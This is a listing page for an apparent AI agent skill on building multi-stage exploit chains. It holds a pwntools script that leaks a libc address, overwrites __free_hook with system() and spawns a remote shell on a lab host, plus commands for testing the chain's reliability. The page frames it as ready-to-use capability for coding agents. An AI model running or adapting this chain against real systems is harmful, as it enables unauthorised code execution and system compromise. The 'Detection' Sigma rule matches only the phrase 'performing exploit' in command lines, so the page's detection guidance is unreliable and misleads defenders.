# Performing Exploit Chain Development

> <!-- Copyright (c) 2026 defconxt. All rights reserved. -->

- Skill: `majiayu000/performing-exploit-chain-development` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds add majiayu000/performing-exploit-chain-development`
- Raw SKILL.md: https://api.skillmd.com/api/skills/majiayu000/performing-exploit-chain-development/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: majiayu000 (https://skillmd.com/u/majiayu000)
- Updated: 2026-09-09
- Page: https://skillmd.com/skills/majiayu000/performing-exploit-chain-development

---


<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-exploit-chain-development
description: >-
  Develop multi-stage exploit chains that combine individual vulnerability primitives into full attack paths from initial access through privilege escalation to objective completion.
domain: cybersecurity
subdomain: exploit-development
tags:
  - exploit-chain
  - multi-stage
  - pivoting
  - sandbox-escape
  - rop-chain
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1068", "T1203", "T1055"]
  frameworks: ["MITRE ATT&CK", "Metasploit"]
  tools: ["python3", "pwntools", "msfconsole", "gdb"]
---

# Performing Exploit Chain Development

## Overview

Exploit chains combine multiple vulnerability primitives — information leaks,
memory corruption, logic bugs — into complete attack sequences. Each stage
provides the primitive needed by the next: leak defeats ASLR, corruption gives
write, write achieves execution, execution escapes sandbox.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `python3` | Security tooling |
| `pwntools` | Security tooling |
| `msfconsole` | Security tooling |
| `gdb with pwndbg` | Security tooling |
| Individual vulnerability primitives identified and validated | Environment requirement |
| Target environment architecture documented | Environment requirement |
| Isolated lab replicating target configuration | Environment requirement |

## Workflow

### Step 1: Primitive Inventory

```
Chain Architecture:
├── Stage 0: Information Leak
│   ├── Primitive: OOB read via type confusion
│   ├── Output: libc base address, heap base
│   └── Reliability: 100%
├── Stage 1: Arbitrary Write
│   ├── Primitive: Heap overflow → corrupted vtable pointer
│   ├── Input: Addresses from Stage 0
│   ├── Output: Controlled function pointer call
│   └── Reliability: 95%
├── Stage 2: Code Execution
│   ├── Primitive: ROP chain via controlled call
│   ├── Input: Write primitive from Stage 1
│   ├── Output: Shellcode execution in renderer
│   └── Reliability: 98%
└── Stage 3: Privilege Escalation
    ├── Primitive: Kernel race condition
    ├── Input: Userland code execution from Stage 2
    ├── Output: Root shell
    └── Reliability: 80%
```

### Step 2: Chain Implementation

```python
from pwn import *

context.binary = elf = ELF("./target")
libc = ELF("./libc.so.6")

def stage0_leak(p):
    """Information leak: defeat ASLR."""
    p.sendlineafter(b"> ", b"1")  # trigger OOB read
    leak = u64(p.recv(8))
    libc.address = leak - libc.symbols["__libc_start_main"]
    log.success(f"Stage 0: libc @ {hex(libc.address)}")
    return libc.address

def stage1_write(p, libc_base):
    """Arbitrary write via heap overflow."""
    target_addr = libc_base + libc.symbols["__free_hook"]
    system_addr = libc_base + libc.symbols["system"]
    payload = flat(b"A" * 64, p64(target_addr), p64(system_addr))
    p.sendlineafter(b"> ", b"2")
    p.send(payload)
    log.success(f"Stage 1: __free_hook -> system()")

def stage2_execute(p):
    """Trigger code execution via corrupted hook."""
    p.sendlineafter(b"> ", b"/bin/sh\x00")
    log.success("Stage 2: Shell triggered")
    p.interactive()

p = remote("target.lab", 9999)
libc_base = stage0_leak(p)
stage1_write(p, libc_base)
stage2_execute(p)
```

### Step 3: Chain Reliability Testing

```bash
# Test full chain reliability
node scripts/agent.js test-chain --exploit chain.py --target target.lab \
  --port 9999 --runs 100

# Test individual stages in isolation
node scripts/agent.js test-stage --exploit chain.py --stage 0 --runs 100
node scripts/agent.js test-stage --exploit chain.py --stage 1 --runs 100
```

### Step 4: Chain Optimization

```bash
# Identify reliability bottleneck
node scripts/agent.js analyze-chain --exploit chain.py --results chain_results.json

# Timing analysis for race conditions
node scripts/agent.js timing --exploit chain.py --stage 3 --samples 1000
```

## Detection

```yaml
title: Exploit Chain Development Detection
id: c131f54f-35bf-4753-a09a-878da2b6194a
status: experimental
description: Detects suspicious activity related to performing exploit chain development techniques in exploit development context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*exploit*"
  condition: selection
level: critical
tags:
  - attack.t1190
  - attack.t1068
  - attack.t1203
  - attack.t1055
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Exploit Chain Development Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1190, T1068, T1203, T1055 |

## Verification

- [ ] Each chain stage validated independently (>95% reliability)
- [ ] Full chain tested end-to-end (>80% reliability target)
- [ ] Failure modes documented with recovery strategies
- [ ] Chain timing constraints identified and optimized
- [ ] Detection signatures cover each chain stage

## References

- [pwntools](https://docs.pwntools.com/) — Exploit development framework
- [MITRE ATT&CK Techniques](https://attack.mitre.org/techniques/) — Chained technique patterns
- [Phrack Magazine](http://www.phrack.org/) — Advanced exploitation research